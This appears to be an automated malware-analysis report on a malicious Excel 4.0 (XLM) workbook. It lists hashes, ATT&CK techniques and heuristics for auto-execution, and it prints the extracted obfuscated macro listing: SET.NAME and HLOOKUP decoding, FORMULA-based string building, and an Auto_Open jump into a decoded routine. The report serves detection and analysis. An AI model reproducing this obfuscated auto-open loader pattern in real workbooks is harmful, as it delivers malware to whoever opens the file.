Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a94d88d532c1bc66…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:31:41 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: ae41465505f5e3112df8bf3071f00722 SHA-1: 6cdcd3ef1be0dba601599a7f049b329d52f607c8 SHA-256: a94d88d532c1bc66f823784f02f93a8302dbfcc4d9e3285af23d023657a303f9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro sheet containing an Auto_Open defined name, which is a critical finding indicating automatic execution upon opening. The presence of dangerous formula APIs like RUN further confirms its malicious intent to execute arbitrary code. No specific family could be identified, but the technique is commonly used for initial payload delivery.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6461 bytes
SHA-256: 5f4ecdc624dca7610d6e763cc8335ee5ebfce9effe26f73bd176285be343f84f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FOo
' 0018     22 LABEL : Cell Value, String Constant - AMDjugN len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H130 
' 0018     22 LABEL : Cell Value, String Constant - CUejnLG len=0 
' 0018     21 LABEL : Cell Value, String Constant - dKmaPl len=0 
' 0018     27 LABEL : Cell Value, String Constant - fCIIhxIXmTtV len=0 
' 0018     20 LABEL : Cell Value, String Constant - FnUhq len=0 
' 0018     25 LABEL : Cell Value, String Constant - GhNZODJGMB len=0 
' 0018     20 LABEL : Cell Value, String Constant - hOmSb len=0 
' 0018     23 LABEL : Cell Value, String Constant - MjkAItQB len=0 
' 0018     25 LABEL : Cell Value, String Constant - NeqWLPyWoI len=0 
' 0018     27 LABEL : Cell Value, String Constant - ojtenCKlDbjY len=0 
' 0018     20 LABEL : Cell Value, String Constant - oOwxN len=0 
' 0018     23 LABEL : Cell Value, String Constant - PafPenmf len=0 
' 0018     21 LABEL : Cell Value, String Constant - PxGupF len=0 
' 0018     25 LABEL : Cell Value, String Constant - RiNDdzAPfk len=0 
' 0018     22 LABEL : Cell Value, String Constant - SmkLUCH len=0 
' 0018     24 LABEL : Cell Value, String Constant - TNmldagjR len=0 
' 0018     21 LABEL : Cell Value, String Constant - UjANLP len=0 
' 0018     23 LABEL : Cell Value, String Constant - VTgAaDpn len=0 
' 0018     26 LABEL : Cell Value, String Constant - wFCJQWUrRxR len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZglRmty len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FOo,H42,"SET.NAME("RiNDdzAPfk",VALUE("0"))",""
'  FOo,H45,"SET.NAME("wFCJQWUrRxR",RiNDdzAPfk)",""
'  FOo,H50,"SET.NAME("CUejnLG",RiNDdzAPfk)",""
'  FOo,H55,"SET.NAME("ZglRmty",COUNTA(dKmaPl))",""
'  FOo,H59,"SET.NAME("VTgAaDpn",COUNTA(fCIIhxIXmTtV))",""
'  FOo,H64,[],""
'  FOo,H66,"SET.NAME("MjkAItQB","")",""
'  FOo,H70,"wFCJQWUrRxR",""
'  FOo,H72,"SET.NAME("FnUhq",HLOOKUP("*",dKmaPl,wFCJQWUrRxR,FALSE))",""
'  FOo,H74,"NeqWLPyWoI",""
'  FOo,H77,"SET.NAME("hOmSb",RiNDdzAPfk)",""
'  FOo,H82,[],""
'  FOo,H85,"hOmSb",""
'  FOo,H89,"ojtenCKlDbjY",""
'  FOo,H92,"PxGupF",""
'  FOo,H96,"PafPenmf",""
'  FOo,H98,"SET.NAME("oOwxN",VALUE(HLOOKUP("*",fCIIhxIXmTtV,PafPenmf,FALSE)))",""
'  FOo,H101,"TNmldagjR",""
'  FOo,H103,"MjkAItQB",""
'  FOo,H105,"CUejnLG",""
'  FOo,H108,NEXT(),""
'  FOo,H111,"AMDjugN",""
'  FOo,H116,"SET.NAME("f",INT(T(FORMULA(T(MjkAItQB)&"",""&T(AMDjugN)))))",""
'  FOo,H121,"GhNZODJGMB",""
'  FOo,H124,NEXT(),""
'  FOo,H128,RETURN(),""
'  FOo,H153,"SET.NAME("UjANLP",H42)",""
'  FOo,H155,"dKmaPl",""
'  FOo,H158,"SET.NAME("fCIIhxIXmTtV",R46C11)",""
'  FOo,H162,"SET.NAME("GhNZODJGMB",170)",""
'  FOo,H166,"SET.NAME("SmkLUCH",8)",""
'  FOo,H169,UjANLP(),""
'  FOo,H170,HALT(),""

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